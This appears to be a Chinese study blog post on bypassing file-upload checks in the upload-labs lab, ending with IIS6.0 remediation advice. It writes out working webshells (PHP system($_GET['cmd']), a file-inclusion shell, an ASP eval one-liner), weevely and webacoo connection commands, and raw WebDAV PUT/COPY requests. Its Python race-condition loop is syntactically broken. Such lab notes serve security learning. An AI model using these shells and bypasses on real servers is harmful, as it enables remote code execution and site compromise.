文件上传漏洞基础学习(笔记)

绕过JS验证

实验环境:upload-labs
JS验证代码:
文件上传漏洞基础学习(笔记)

burpsuite剔除响应JS

方法:对于JS前端验证,直接删除JS代码绕过
配置:
文件上传漏洞基础学习(笔记)

上传页面源码包含验证οnsubmit=“return checkFile()”
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

上传一个1.jpg,使用burpsuite进行抓包,Forward,burpsuite自动删除了响应JS的代码
文件上传漏洞基础学习(笔记)

上传test.php,成功
文件上传漏洞基础学习(笔记)

浏览器审计工具剔除JS

利用浏览器审查工具剔除JS之后,保存为新文件进行文件上传
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)
添加文件上传位置
文件上传漏洞基础学习(笔记)

打开新文件,上传文件,成功
文件上传漏洞基础学习(笔记)

上传webshell,菜刀连接

利用:一句话木马
此处采用kali的weevely:
生成webshell.php并上传
文件上传漏洞基础学习(笔记)
远程连接
weevely http://192.168.56.141/upload-labs-master/upload/webshell.php pass
文件上传漏洞基础学习(笔记)

绕过MIME-Type验证

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型
代码验证:
文件上传漏洞基础学习(笔记)

burpsuite绕过MIME-Type验证

抓取请求后在Repeater中重放修改MIME-Type类型绕过验证,也可直接在proxy中修改,例如:
文件上传漏洞基础学习(笔记)

文件上传漏洞基础学习(笔记)
Forward,上传成功
文件上传漏洞基础学习(笔记)

绕过黑名单验证

对于黑名单中的后缀名筛选(通过寻找不在黑名单中可执行脚本绕过):
文件上传漏洞基础学习(笔记)
通过burpsuite寻找黑名单中未过滤的后缀名绕过黑名单验证:
抓取请求,发送到Intruder中,添加变量,修改后缀名
文件上传漏洞基础学习(笔记)
导入字典或自行添加后缀
文件上传漏洞基础学习(笔记)
Position-Start attack,查看响应,php后缀上传失败,其他后缀上传成功
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)
复制链接,访问上传文件,验证成功
文件上传漏洞基础学习(笔记)

文件上传漏洞基础学习(笔记)

.htaccess绕过

在Apache中如果要使用.htaccess,需在http.conf中设置AllowOverride
文件上传漏洞基础学习(笔记)
在黑名单中如果没有对.htaccess过滤,可直接上传htaccess来设置使用php解析任意文件
文件内容:SetHandler application/x-httpd-php

制作图片phpinfo探针并上传

首先上传.htaccess文件(通过另存为保存规避键入文件名),然后将phpinfo代码保存为一个jpg文件并上传
文件上传漏洞基础学习(笔记)
之后通过链接访问info.php

大小写绕过

Windows下大小写不敏感,Linux下敏感,直接修改后缀名PhP上传文件
文件上传漏洞基础学习(笔记)
利用WeBacoo上传webshell:
webacoo -g -o a.php
文件上传漏洞基础学习(笔记)

上传a.php,连接webshell:
webacoo -t -u “url”

空格绕过

Windows下对文件名空格会做空处理
使用burpsuite截取请求给文件名添加空格
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

.号绕过

Windows下文件后缀名最后一个点会被自动去除
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

特殊符号绕过

Windows下上传文件test.php::$DATA会在服务器上生成一个test.php文件
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

路径组合绕过

在没有对上传文件进行重命名的情况下,用户可以自定义文件名并在服务器上传新建
例如:1.php.+空格+.
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

双写绕过

原理:只对黑名单进行空格替换且只替换一次
直接将后缀名改为pphphp
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

绕过白名单验证(%00截断绕过)

原理:0x00十六进制,ascii码0字符,有些函数处理时当作结束符,系统读取文件名时,遇到0x00,就会认为读取结束(PHP5.3之后已修复,并且其受限GPC,addslashes函数)

GET型%00截断

GET型提交内容会被自动进行编码,上传成功以后,通过URL访问
文件上传漏洞基础学习(笔记)

文件上传漏洞基础学习(笔记)
利用:使用php中的system函数执行GET提交的参数

<?php if($_GET){ $cmd=$_GET['cmd']; system($cmd); }else{ echo "no cmd"; } ?>

文件上传漏洞基础学习(笔记)
乱码通过 view-source: 或查看源代码解决
文件上传漏洞基础学习(笔记)

POST型%00截断

POST请求中,%00不会被自动解码,需在16进制中进行修改00,即添加一个空格,将对应16进制的20修改为00
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)
文件上传漏洞基础学习(笔记)

图片webshell上传

对文件二进制格式的前几个字节检查,判断文件类型,通过在代码开头添加特定代码规避
GIF98A

<?php phpinfo(); ?>

通过burpsuite利用Content-Type验证修改为image/gif或image/jpg符合当前文件类型的MIME
文件上传漏洞基础学习(笔记)
然后利用文件包含漏洞(使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,先前已上传)

<?php if($_GET){ include($_GET['file']); }else{ echo "no file"; } ?>

文件上传漏洞基础学习(笔记)

竞争条件

在服务器检查上传文件非法,准备删除之前访问文件,从而执行代码
方法:通过python不断发送HTTP请求
import requests
while true:
requests.get(“url”)

中间件解析漏洞-IIS6.0

1、当建立*.asa、*asp文件夹时,其下的任意文件都将被IIS当作asp文件解析
2、当文件名为*.asp;1.jpg(jpg可换为任意后缀名)IIS会将其当作asp文件解析

IIS6.0 PUT

WebDAV 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法
利用nikto探测是否具有PUT漏洞
-nikto -h IP地址
利用burpsuite:
1、探测是否存在IIS PUT漏洞:
OPTIONS / HTTP1.1
Host: www.xxx.com

2、上传txt文本文件
PUT /a.txt HTTP1.1
Host:www.xxx.com
Content-Length: 30

<%eval request(“chopper”)%>

3、通过Move或Copy重名
COPY /a.txt HTTP1.1
Host: www.xxx.com
Destination: http://www.xxx.com/cmd.asp

4、删除
DELETE /a.txt HTTP1.1
Host: www.xxx.com

IIS6.0解析漏洞及修复

IIS6.0解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

IIS6.0文件解析漏洞修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。